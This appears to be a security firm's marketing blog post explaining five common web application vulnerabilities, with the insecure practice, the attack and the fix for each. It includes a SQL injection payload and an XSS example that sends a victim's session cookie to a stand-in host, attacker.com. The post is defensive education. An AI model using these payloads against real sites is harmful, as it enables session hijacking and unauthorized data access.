In today's digital world, a web application is often the face of a business, and its most significant attack surface. While developers focus on building features, simple, insecure coding practices can unknowingly leave the door wide open for attackers. These aren't obscure, complex exploits; they are common, well-known vulnerabilities that we find time and time again.

Here is a breakdown of the top 5 most common code-level vulnerabilities that lead to devastating security breaches.

1. Injection (e.g. SQL Injection)

This is a classic, high-impact vulnerability that occurs when an application trusts user-supplied data. The insecure practice is directly embedding that data into a command or query (such as a database query).

• Insecure Practice: Concatenating a string from a URL or form to build a SQL query. e.g. "SELECT * FROM users WHERE username = '" + userInput + "';".
• The Hack: An attacker provides malicious input, such as ' OR 1=1 --, which changes the query's logic to SELECT * FROM users WHERE username = '' OR 1=1 --';, bypassing the login and returning all users.
• The Fix: Never trust user input. Use Parameterised Queries (Prepared Statements) which treat user input as data, not as executable code.

2. Broken Access Control

This vulnerability happens when an application fails to properly enforce restrictions on what authenticated users are allowed to do. It's not about if you're logged in, but what you're allowed to see.

• Insecure Practice: Trusting that a user will only access their own data via the UI. An API endpoint like /api/v1/get_order?order_id=123 might not validate if order_id=123 actually belongs to the logged-in user.
• The Hack: An attacker logs in and simply changes the ID in the URL (/api/v1/get_order?order_id=124) to view or modify other users' orders. This is an Insecure Direct Object Reference (IDOR).
• The Fix: On the server-side, for every single request, verify that the authenticated user has the right to access the specific resource they are asking for.

3. Cross-Site Scripting (XSS)

XSS is a vulnerability where an attacker injects malicious client-side scripts (JavaScript) into a webpage viewed by other users. This happens when the application insecurely includes user data in its response.

• Insecure Practice: Taking user input (e.g. a username, a blog comment) and rendering it directly onto the page without sanitising it, e.g. in PHP: echo "Welcome, " . $_GET['username'];.
• The Hack: An attacker sets their username to <script>document.location='http://attacker.com/steal?cookie=' + document.cookie</script>. When another user (such as an admin) views this, the script runs in their browser, stealing their session cookie.
• The Fix: Context-aware output encoding. Before rendering any user-supplied data in HTML, encode it so the browser treats it as text, not as active code. (e.g. < becomes <).

4. Security Misconfiguration

This is a broad category that covers insecure-by-default settings. It's not a single code flaw, but a failure to securely configure the application stack.

• Insecure Practice: Leaving default credentials on (e.g. admin:admin for a framework's admin panel), running in "debug" mode in production (which leaks detailed stack traces), or failing to set security-related HTTP headers.
• The Hack: An attacker discovers the app is running in debug mode from a verbose error message, which reveals database schemas, file paths, and internal API keys.
• The Fix: A hardened build process. Disable debug modes, change all default credentials, remove unused services, and implement security headers like Content-Security-Policy.

5. Broken Authentication

This vulnerability encompasses weaknesses in how an application manages user identity, credentials, and sessions. It's how an attacker can impersonate a legitimate user.

• Insecure Practice: Allowing weak passwords (e.g. "123456"), sending session IDs over unencrypted HTTP, using predictable session IDs, or not invalidating session cookies upon logout.
• The Hack: An attacker captures a user's session cookie from an insecure public Wi-Fi network or brute-forces a weak password, gaining complete access to their account.
• The Fix: Enforce strong, complex passwords. Use HTTPS everywhere. Implement Multi-Factor Authentication (MFA). Generate long, random session IDs and securely invalidate them upon logout.

How We Can Help

Secure coding is a continuous practice, not a one-time task. At CYBERPAL, our Security Testing services (such as penetration testing) are designed to find these vulnerabilities before attackers do. We help your development teams understand the root cause and build secure applications from the ground up.

Don't wait for a breach to find your code's blind spots. Book a Free Consultation